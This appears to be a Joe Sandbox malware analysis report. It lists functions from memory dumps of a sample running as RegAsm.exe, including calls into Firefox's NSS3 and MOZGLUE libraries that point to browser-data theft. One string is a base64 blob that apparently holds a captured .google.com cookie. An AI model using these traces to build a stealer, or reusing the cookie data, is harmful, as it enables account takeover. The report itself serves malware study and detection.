Part of subcall function 0041A1F0: lstrlenA.KERNEL32(00000000,?,?,00415634,00420AC3,00420AC2,?,?,004165B6,00000000,?,00F7AA50,?,004210DC,?,00000000), ref: 0041A1FB
Part of subcall function 0041A1F0: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A255

Memory Dump Source

Source File: 00000002.00000002.2243076753.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2243076753.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcpystrtok_s$lstrlen
String ID:
API String ID: 3184129880-0
Opcode ID: 57923e09db2b1965b2e7f34808721c618ad5f50ea104b346db2e7d3af5ca8ace
Instruction ID: 79a306a9ddce9c6cdb539d8aaa48a82ffdeeeca754e5da37ea89086183b8fd1c
Opcode Fuzzy Hash: 57923e09db2b1965b2e7f34808721c618ad5f50ea104b346db2e7d3af5ca8ace
Instruction Fuzzy Hash: 87416371E01108ABCB04EFE5DC89AEEB774BF44314F00801EE51677251DB78AA95CF9A

Function 6C9ACF40 Relevance: 9.1, APIs: 6, Instructions: 112memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(00000060), ref: 6C9ACF80
SECITEM_DupItem_Util.NSS3(?), ref: 6C9AD002
PR_SetError.NSS3(FFFFE005,00000000,00000000,00000000,?,00000000), ref: 6C9AD016
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C9AD025
PR_NewLock.NSS3 ref: 6C9AD043
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C9AD074

Memory Dump Source

Source File: 00000002.00000002.2264626706.000000006C901000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000002.00000002.2264613488.000000006C900000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265108355.000000006CA9F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265195565.000000006CADE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265297960.000000006CADF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265312914.000000006CAE0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265328345.000000006CAE5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c900000_RegAsm.jbxd

Similarity

API ID: ErrorUtil$Alloc_ContextDestroyItem_K11_Lock
String ID:
API String ID: 3361105336-0
Opcode ID: 72abfa9919abe9464541c3fbec21ecdbe4ddad580709151f167e43e9d649c63d
Instruction ID: 40fd167cd02cb636a8d464b098856b052d4793f623b34c8935538c47ad6d6b73
Opcode Fuzzy Hash: 72abfa9919abe9464541c3fbec21ecdbe4ddad580709151f167e43e9d649c63d
Instruction Fuzzy Hash: 1141C3B1A01321CFDB10DFAAC88478A7BE8EF18318F154169DC198F746D775D88ACB91

Function 6C992E60 Relevance: 9.1, APIs: 6, Instructions: 105COMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,00000000,00000001,00000000,?,?,6C982D1A), ref: 6C992E7E

Part of subcall function 6C9E07B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C988298,?,?,?,6C97FCE5,?), ref: 6C9E07BF
Part of subcall function 6C9E07B0: PL_HashTableLookup.NSS3(?,?), ref: 6C9E07E6
Part of subcall function 6C9E07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C9E081B
Part of subcall function 6C9E07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C9E0825

PR_Now.NSS3 ref: 6C992EDF
CERT_FindCertIssuer.NSS3(?,00000000,?,0000000B), ref: 6C992EE9
SECOID_FindOID_Util.NSS3(-000000D8,?,?,?,?,6C982D1A), ref: 6C992F01
CERT_DestroyCertificate.NSS3(?,?,?,?,?,?,6C982D1A), ref: 6C992F50
SECITEM_CopyItem_Util.NSS3(?,?,?), ref: 6C992F81

Memory Dump Source

Source File: 00000002.00000002.2264626706.000000006C901000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000002.00000002.2264613488.000000006C900000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265108355.000000006CA9F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265195565.000000006CADE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265297960.000000006CADF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265312914.000000006CAE0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265328345.000000006CAE5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c900000_RegAsm.jbxd

Similarity

API ID: FindUtil$ErrorHashLookupTable$CertCertificateConstCopyDestroyIssuerItem_
String ID:
API String ID: 287051776-0
Opcode ID: 6b467407cb95a1ae026b0ee79dd1b2f7e38d058143e2b848c32e4eb652019a89
Instruction ID: da7951ee767180d0a53b05af14c6d9e16914a19113e26c64d3fbeeb2c0b4aa2f
Opcode Fuzzy Hash: 6b467407cb95a1ae026b0ee79dd1b2f7e38d058143e2b848c32e4eb652019a89
Instruction Fuzzy Hash: 8E31F57150190087F710D695DC8CFBE7269EF90318F6C4979D41B97ED0EB31D89ACA61

Function 6C8BDC50 Relevance: 9.1, APIs: 6, Instructions: 104timethreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C8BDC60
AcquireSRWLockExclusive.KERNEL32(?,?,?,6C8BD38A,?), ref: 6C8BDC6F
free.MOZGLUE(?,?,?,?,?,6C8BD38A,?), ref: 6C8BDCC1
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,6C8BD38A,?), ref: 6C8BDCE9
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,6C8BD38A,?), ref: 6C8BDD05
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000001,?,?,?,6C8BD38A,?), ref: 6C8BDD4A

Memory Dump Source

Source File: 00000002.00000002.2264437333.000000006C861000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C860000, based on PE: true

Associated: 00000002.00000002.2264422713.000000006C860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264548982.000000006C8DD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264579684.000000006C8EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264596152.000000006C8F2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c860000_RegAsm.jbxd

Similarity

API ID: ExclusiveLockStampTimeV01@@Value@mozilla@@$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 1842996449-0
Opcode ID: dfc34de0ca50f6093093f73e8cdca5abbc04a6f0ee54cdf04188d3ce142db9c7
Instruction ID: 3d8e052c2de047bafa08066dd56fd61612d9a7fd94d5f04ef1f28c6e53492668
Opcode Fuzzy Hash: dfc34de0ca50f6093093f73e8cdca5abbc04a6f0ee54cdf04188d3ce142db9c7
Instruction Fuzzy Hash: 80416D75A00705DFCB10CF99C9809AAB7F5FF88318B15496AD945A7B14D731FC04CB90

Function 6C980E00 Relevance: 9.1, APIs: 6, Instructions: 101memoryCOMMON

Download Yara Rule

APIs

CERT_DecodeAVAValue.NSS3(?,?,6C980A2C), ref: 6C980E0F
PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,6C980A2C), ref: 6C980E73
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,6C980A2C), ref: 6C980E85
PORT_ZAlloc_Util.NSS3(00000001,?,?,6C980A2C), ref: 6C980E90
free.MOZGLUE(00000000), ref: 6C980EC4
SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?,6C980A2C), ref: 6C980ED9

Memory Dump Source

Source File: 00000002.00000002.2264626706.000000006C901000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000002.00000002.2264613488.000000006C900000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265108355.000000006CA9F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265195565.000000006CADE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265297960.000000006CADF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265312914.000000006CAE0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265328345.000000006CAE5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c900000_RegAsm.jbxd

Similarity

API ID: Util$Alloc_$ArenaDecodeItem_ValueZfreefreememset
String ID:
API String ID: 3618544408-0
Opcode ID: f5c141c509b10f21956bbf609a93d1523d83ddb1dd6b37d151b3f055f67fad51
Instruction ID: e9df79dd676c50ac07e9044a556b3bd7ac6e1e7f78243599fa72478085fb2c79
Opcode Fuzzy Hash: f5c141c509b10f21956bbf609a93d1523d83ddb1dd6b37d151b3f055f67fad51
Instruction Fuzzy Hash: EB217D72E036845BEB10496A9C81B6B72AEDFD170CF195C35DC1CA3A13FB60C81482B1

Function 0041AD4C Relevance: 9.1, APIs: 6, Instructions: 98COMMONLIBRARYCODE

Download Yara Rule

APIs

__lock.LIBCMT ref: 0041AD5A

Part of subcall function 0041A97C: __mtinitlocknum.LIBCMT ref: 0041A992
Part of subcall function 0041A97C: __amsg_exit.LIBCMT ref: 0041A99E
Part of subcall function 0041A97C: EnterCriticalSection.KERNEL32(?,?,?,0041A630,0000000E,0042A0A0,0000000C,0041A5FA), ref: 0041A9A6

DecodePointer.KERNEL32(0042A0E0,00000020,0041AE9D,?,00000001,00000000,?,0041AEBF,000000FF,?,0041A9A3,00000011,?,?,0041A630,0000000E), ref: 0041AD96
DecodePointer.KERNEL32(?,0041AEBF,000000FF,?,0041A9A3,00000011,?,?,0041A630,0000000E,0042A0A0,0000000C,0041A5FA), ref: 0041ADA7

Part of subcall function 0041B7F5: EncodePointer.KERNEL32(00000000,0041BA52,0042BDB8,00000314,00000000,?,?,?,?,?,0041B0C8,0042BDB8,Microsoft Visual C++ Runtime Library,00012010), ref: 0041B7F7

DecodePointer.KERNEL32(-00000004,?,0041AEBF,000000FF,?,0041A9A3,00000011,?,?,0041A630,0000000E,0042A0A0,0000000C,0041A5FA), ref: 0041ADCD
DecodePointer.KERNEL32(?,0041AEBF,000000FF,?,0041A9A3,00000011,?,?,0041A630,0000000E,0042A0A0,0000000C,0041A5FA), ref: 0041ADE0
DecodePointer.KERNEL32(?,0041AEBF,000000FF,?,0041A9A3,00000011,?,?,0041A630,0000000E,0042A0A0,0000000C,0041A5FA), ref: 0041ADEA

Memory Dump Source

Source File: 00000002.00000002.2243076753.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2243076753.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Pointer$Decode$CriticalEncodeEnterSection__amsg_exit__lock__mtinitlocknum
String ID:
API String ID: 2005412495-0
Opcode ID: f9befe3f55ee8f173e82741ef51ab4513f7945af46e70701dae6d8e2470b554b
Instruction ID: caf3d89b241956d0f61ee76f6bda9f5cc832cc25b3119809810545d37125ea2a
Opcode Fuzzy Hash: f9befe3f55ee8f173e82741ef51ab4513f7945af46e70701dae6d8e2470b554b
Instruction Fuzzy Hash: 103129B09423498FDF509FA9D9456DEBBF1BF48314F14402BD410A6251DBBC48A5CF6A

Function 6C9988D0 Relevance: 9.1, APIs: 6, Instructions: 97memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6C9A0725,00000000,00000058), ref: 6C998906
EnterCriticalSection.KERNEL32(?), ref: 6C99891A
PL_ArenaAllocate.NSS3(?,?), ref: 6C99894A
calloc.MOZGLUE(00000001,6C9A072D,00000000,00000000,00000000,?,6C9A0725,00000000,00000058), ref: 6C998959
memset.VCRUNTIME140(?,00000000,?), ref: 6C998993
PR_Unlock.NSS3(?), ref: 6C9989AF

Part of subcall function 6C9707A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C90204A), ref: 6C9707AD
Part of subcall function 6C9707A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C90204A), ref: 6C9707CD
Part of subcall function 6C9707A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C90204A), ref: 6C9707D6
Part of subcall function 6C9707A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C90204A), ref: 6C9707E4
Part of subcall function 6C9707A0: TlsSetValue.KERNEL32(00000000,?,6C90204A), ref: 6C970864
Part of subcall function 6C9707A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C970880
Part of subcall function 6C9707A0: TlsSetValue.KERNEL32(00000000,?,?,6C90204A), ref: 6C9708CB
Part of subcall function 6C9707A0: TlsGetValue.KERNEL32(?,?,6C90204A), ref: 6C9708D7
Part of subcall function 6C9707A0: TlsGetValue.KERNEL32(?,?,6C90204A), ref: 6C9708FB

Memory Dump Source

Source File: 00000002.00000002.2264626706.000000006C901000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000002.00000002.2264613488.000000006C900000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265108355.000000006CA9F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265195565.000000006CADE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265297960.000000006CADF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265312914.000000006CAE0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265328345.000000006CAE5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c900000_RegAsm.jbxd

Similarity

API ID: Value$calloc$AllocateArenaCriticalEnterSectionUnlockmemset
String ID:
API String ID: 1716546843-0
Opcode ID: 3647960a9af021e66c1b9dfbf4a15b5358dca3a84959b84135d39a57a4fde2fc
Instruction ID: 20ac86f275f646625b6ecf1d6d859aa5240394544e56e22330c9ce4ef48bdb43
Opcode Fuzzy Hash: 3647960a9af021e66c1b9dfbf4a15b5358dca3a84959b84135d39a57a4fde2fc
Instruction Fuzzy Hash: 2131F372E00215ABD7049F28CC41A59B7A8BF1531CF1D866AEC1CD7B42E732E885C7E6

Function 6C8A6590 Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 342COMMON

Download Yara Rule

APIs

Part of subcall function 6C89FA80: GetCurrentThreadId.KERNEL32 ref: 6C89FA8D
Part of subcall function 6C89FA80: AcquireSRWLockExclusive.KERNEL32(6C8EF448), ref: 6C89FA99

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C8A6727
?GetOrAddIndex@UniqueJSONStrings@baseprofiler@mozilla@@AAEIABV?$Span@$$CBD$0PPPPPPPP@@3@@Z.MOZGLUE(?,?,?,?,?,?,?,00000001), ref: 6C8A67C8

Part of subcall function 6C8B4290: memcpy.VCRUNTIME140(?,?,6C8C2003,6C8C0AD9,?,6C8C0AD9,00000000,?,6C8C0AD9,?,00000004,?,6C8C1A62,?,6C8C2003,?), ref: 6C8B42C4

Strings

data, xrefs: 6C8A6593

Memory Dump Source

Source File: 00000002.00000002.2264437333.000000006C861000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C860000, based on PE: true

Associated: 00000002.00000002.2264422713.000000006C860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264548982.000000006C8DD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264579684.000000006C8EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264596152.000000006C8F2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c860000_RegAsm.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentIndex@P@@3@@ReleaseSpan@$$Strings@baseprofiler@mozilla@@ThreadUniquememcpy
String ID: data
API String ID: 511789754-2918445923
Opcode ID: afd99f7fe63789a45ccb5e86f9bf13aa36687563e7c1a3af3e9737a7a37300e4
Instruction ID: 0e14d4b747fbe5a7146641ecff20526ddff0913bb8586a5794e65ce14a335ab1
Opcode Fuzzy Hash: afd99f7fe63789a45ccb5e86f9bf13aa36687563e7c1a3af3e9737a7a37300e4
Instruction Fuzzy Hash: 68D1BF75A083408FD734CF68DA41B9EB7E5AFC6308F108D2DD58997B51EB30A909CB92

Function 6C98AE50 Relevance: 9.1, APIs: 6, Instructions: 85COMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C98AEB3
SEC_ASN1EncodeUnsignedInteger_Util.NSS3(00000000,?,00000000), ref: 6C98AECA
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C98AEDD
PR_SetError.NSS3(FFFFE022,00000000), ref: 6C98AF02
SEC_ASN1EncodeItem_Util.NSS3(?,?,?,6CAA9500), ref: 6C98AF23

Part of subcall function 6C9DF080: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?), ref: 6C9DF0C8
Part of subcall function 6C9DF080: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C9DF122

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C98AF37

Memory Dump Source

Source File: 00000002.00000002.2264626706.000000006C901000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000002.00000002.2264613488.000000006C900000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265108355.000000006CA9F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265195565.000000006CADE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265297960.000000006CADF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265312914.000000006CAE0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265328345.000000006CAE5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c900000_RegAsm.jbxd

Similarity

API ID: Util$Arena_$Free$EncodeError$Integer_Item_Unsigned
String ID:
API String ID: 3714604333-0
Opcode ID: e8a749f092d5aa9d3d1adc43438790c488ddbb30ed8526327683288946b01eb6
Instruction ID: fc54ba90d9775c8b7543a0eb313b518bb14cd1c267cc89e800e4477c70d64c46
Opcode Fuzzy Hash: e8a749f092d5aa9d3d1adc43438790c488ddbb30ed8526327683288946b01eb6
Instruction Fuzzy Hash: A4214C729062009BE7108F189C01B9A77E8AF9572CF144B18FC149B7D1EB31D55987A7

Function 6CA0EE50 Relevance: 9.1, APIs: 6, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CA0EE85
realloc.MOZGLUE(487476CF,?), ref: 6CA0EEAE
PORT_Alloc_Util.NSS3(?), ref: 6CA0EEC5

Part of subcall function 6C9E0BE0: malloc.MOZGLUE(6C9D8D2D,?,00000000,?), ref: 6C9E0BF8
Part of subcall function 6C9E0BE0: TlsGetValue.KERNEL32(6C9D8D2D,?,00000000,?), ref: 6C9E0C15

htonl.WSOCK32(?), ref: 6CA0EEE3
htonl.WSOCK32(00000000,?), ref: 6CA0EEED
memcpy.VCRUNTIME140(?,?,?,00000000,?), ref: 6CA0EF01

Memory Dump Source

Source File: 00000002.00000002.2264626706.000000006C901000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000002.00000002.2264613488.000000006C900000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265108355.000000006CA9F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265195565.000000006CADE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265297960.000000006CADF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265312914.000000006CAE0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265328345.000000006CAE5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c900000_RegAsm.jbxd

Similarity

API ID: htonl$Alloc_ErrorUtilValuemallocmemcpyrealloc
String ID:
API String ID: 1351805024-0
Opcode ID: e9dc3634fea02b462970b4e868f09bed5cc1b794c3767510b4b712ea5ba69878
Instruction ID: a4b26c03a2c62b988a7e312194766f463446b224d79b82d304f959813c985ce7
Opcode Fuzzy Hash: e9dc3634fea02b462970b4e868f09bed5cc1b794c3767510b4b712ea5ba69878
Instruction Fuzzy Hash: 0421D631A00218AFDB109F28ED8075AB7B4EF4979CF188169ED599B651D730EC94C7E2

Function 6C8BCCF0 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 299COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(000000E0,00000000,?,6C8ADA31,00100000,?,?,00000000,?), ref: 6C8BCDA4

Part of subcall function 6C87CA10: malloc.MOZGLUE(?), ref: 6C87CA26

Part of subcall function 6C8BD130: InitializeConditionVariable.KERNEL32(00000010,00020000,00000000,00100000,?,6C8BCDBA,00100000,?,00000000,?,6C8ADA31,00100000,?,?,00000000,?), ref: 6C8BD158
Part of subcall function 6C8BD130: InitializeConditionVariable.KERNEL32(00000098,?,6C8BCDBA,00100000,?,00000000,?,6C8ADA31,00100000,?,?,00000000,?), ref: 6C8BD177

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE(?,?,00000000,?,6C8ADA31,00100000,?,?,00000000,?), ref: 6C8BCDC4

Part of subcall function 6C8B7480: ReleaseSRWLockExclusive.KERNEL32(?,6C8C15FC,?,?,?,?,6C8C15FC,?), ref: 6C8B74EB

moz_xmalloc.MOZGLUE(00000014,?,?,?,00000000,?,6C8ADA31,00100000,?,?,00000000,?), ref: 6C8BCECC

Part of subcall function 6C87CA10: mozalloc_abort.MOZGLUE(?), ref: 6C87CAA2

Part of subcall function 6C8ACB30: floor.API-MS-WIN-CRT-MATH-L1-1-0(?,?,00000000,?,6C8BCEEA,?,?,?,?,00000000,?,6C8ADA31,00100000,?,?,00000000), ref: 6C8ACB57
Part of subcall function 6C8ACB30: _beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,6C8ACBE0,00000000,00000000,00000000,?,?,?,?,00000000,?,6C8BCEEA,?,?), ref: 6C8ACBAF

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,?,6C8ADA31,00100000,?,?,00000000,?), ref: 6C8BD058

Strings

lRBNFJULTZwczBiaGVtZndDUEJzTE1nUFQ3LWdUY1dxSHZadlpiYWZPcGtxUnkwZEx5WUc5QWpQMnZiVUJvbWFybmM5cGNaVmxoSGtVZVVhV011ckQwR0dYeVcwNV9CXzFJeVVOWUVFTG15cVJnCi5nb29nbGUuY29tCVRSVUUJLwlGQUxTRQkxNjk5MDcxNjQwCTFQX0pBUgkyMDIzLTEwLTA1LTA2Cg==------KECGDBFCBKFIDHIDHDHI--, xrefs: 6C8BCD2C

Memory Dump Source

Source File: 00000002.00000002.2264437333.000000006C861000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C860000, based on PE: true

Associated: 00000002.00000002.2264422713.000000006C860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264548982.000000006C8DD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264579684.000000006C8EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264596152.000000006C8F2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c860000_RegAsm.jbxd

Similarity

API ID: ConditionInitializeVariablemoz_xmalloc$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedExclusiveLockProfileRelease_beginthreadexfloormallocmozalloc_aborttolower
String ID: lRBNFJULTZwczBiaGVtZndDUEJzTE1nUFQ3LWdUY1dxSHZadlpiYWZPcGtxUnkwZEx5WUc5QWpQMnZiVUJvbWFybmM5cGNaVmxoSGtVZVVhV011ckQwR0dYeVcwNV9CXzFJeVVOWUVFTG15cVJnCi5nb29nbGUuY29tCVRSVUUJLwlGQUxTRQkxNjk5MDcxNjQwCTFQX0pBUgkyMDIzLTEwLTA1LTA2Cg==------KECGDBFCBKFIDHIDHDHI--
API String ID: 861561044-471692068
Opcode ID: c79258e3a3bb913558dda846dde158148ac6e176c33b703c2bb889af67af52c6
Instruction ID: b43c08d6f7b3b8451dcbba695aae456c5756a2355a7a5e49a44a1a03e0637119
Opcode Fuzzy Hash: c79258e3a3bb913558dda846dde158148ac6e176c33b703c2bb889af67af52c6
Instruction Fuzzy Hash: 89D18F71A04B069FD718CF28C580799F7E1BF89308F018A6DD8599B712EB71E9A5CBC1

Function 0041C3CD Relevance: 9.0, APIs: 6, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 0041C3D9

Part of subcall function 0041B95F: __getptd_noexit.LIBCMT ref: 0041B962
Part of subcall function 0041B95F: __amsg_exit.LIBCMT ref: 0041B96F

__amsg_exit.LIBCMT ref: 0041C3F9
__lock.LIBCMT ref: 0041C409
InterlockedDecrement.KERNEL32(?), ref: 0041C426
free.MSVCRT(?,?,?,00000003,0041B5E0,0042A120,00000008), ref: 0041C439
InterlockedIncrement.KERNEL32(0042B558), ref: 0041C451

Memory Dump Source

Source File: 00000002.00000002.2243076753.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2243076753.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
